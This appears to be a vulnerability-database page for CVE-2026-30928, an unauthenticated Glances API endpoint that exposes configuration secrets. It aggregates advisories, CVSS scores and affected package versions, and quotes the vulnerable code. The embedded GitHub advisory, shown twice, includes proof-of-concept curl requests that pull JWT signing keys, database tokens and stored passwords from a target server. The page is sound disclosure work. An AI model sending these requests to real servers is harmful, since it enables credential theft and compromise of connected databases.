Every CVE Search/ Get API key

CVE-2026-30928

Glances Exposes Unauthenticated Configuration Secrets

8.7 HighFix available

CVE-2026-30928 is a high vulnerability (CVSS 8.7) in Nicolargo Glances, published March 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.69%, the 77th percentile. Fixed in glances 4.5.1.

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

1.69%Up 1.7 points since Mar 11, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Glances Exposes Unauthenticated Configuration Secrets

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
CVE-2026-30928
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
EUVDEUVD-2026-10539 8.7

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
EUVD-2026-10539
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-gh4x-f7cq-wwx6 8.7

Glances Exposes Unauthenticated Configuration Secrets

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code:

  • File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)
  • File: glances/config.py, lines 280-287
def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary
  • File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

  • Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
  • From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:

# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Record
GHSA-gh4x-f7cq-wwx6
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
NVD 8.7

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
CVE-2026-30928
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-200
Updated
2026-11-02
OSV 8.7

Glances Exposes Unauthenticated Configuration Secrets

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
CVE-2026-30928
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
OSVDEBIAN-CVE-2026-30928 7.5

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
DEBIAN-CVE-2026-30928
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
OSVGHSA-gh4x-f7cq-wwx6 8.7

Glances Exposes Unauthenticated Configuration Secrets

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code:

  • File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)
  • File: glances/config.py, lines 280-287
def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary
  • File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

  • Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
  • From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:

# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Record
GHSA-gh4x-f7cq-wwx6
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
OSVPYSEC-2026-2164 7.5

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
PYSEC-2026-2164
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-30928 8.7

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.

Record
UBUNTU-CVE-2026-30928
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
glances
PyPI
 before 4.5.1
4.5.1
glances
Debian:13
 All versions, plus listed versions
4.3.1+dfsg-14.3.3+dfsg-14.5.1+dfsg-14.5.2+dfsg-14.5.3.2+dfsg-14.5.4+dfsg-14.5.5+dfsg-14.5.6+dfsg-1
 None known
glances
Debian:14
 before 4.5.1+dfsg-1, plus listed versions
4.3.1+dfsg-14.3.3+dfsg-1
4.5.1+dfsg-1
glances
PyPI
 before 4.5.1, plus listed versions
1.3.11.3.21.3.31.3.41.3.5
Show 45 moreShow less
1.3.61.3.71.41.4.11.4.1.11.4.21.4.2.11.51.5.11.5.21.61.6.11.71.7.11.7.21.7.31.7.41.7.51.7.61.7.72.02.0.12.12.1.12.1.22.102.112.11.12.22.2.12.32.42.4.12.4.22.52.5.12.62.6.12.6.22.72.7.12.82.8.12.8.22.8.3
4.5.1
glances
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
2.3-1build12.3-1ubuntu0.1~esm1
 None known
glances
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
2.10-22.11.1-12.11.1-22.11.1-32.11.1-3ubuntu0.1~esm1
 None known
glances
Ubuntu:Pro:20.04:LTS
 All versions, plus listed versions
3.1.0-13.1.1-13.1.3-13.1.3-1ubuntu0.1~esm1
 None known
glances
Ubuntu:22.04:LTS
 All versions, plus listed versions
3.1.5-13.2.3.1+dfsg-13.2.4.2+dfsg-1
 None known
glances
Ubuntu:24.04:LTS
 All versions, plus listed versions
3.4.0.3+dfsg-1
 None known
glances
Ubuntu:25.10
 All versions, plus listed versions
4.3.0.8+dfsg-14.3.1+dfsg-1
 None known
glances
Ubuntu:26.10
 All versions, plus listed versions
4.3.3+dfsg-14.5.4+dfsg-14.5.5+dfsg-14.5.6+dfsg-1
 None known
glances
Ubuntu:26.04:LTS
 All versions, plus listed versions
4.3.1+dfsg-14.3.3+dfsg-1
 None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
NucleiGlances - Information Disclosure

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV

References

Show 4 moreShow less
This page doesn't list everything

Left out here: 80 versions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open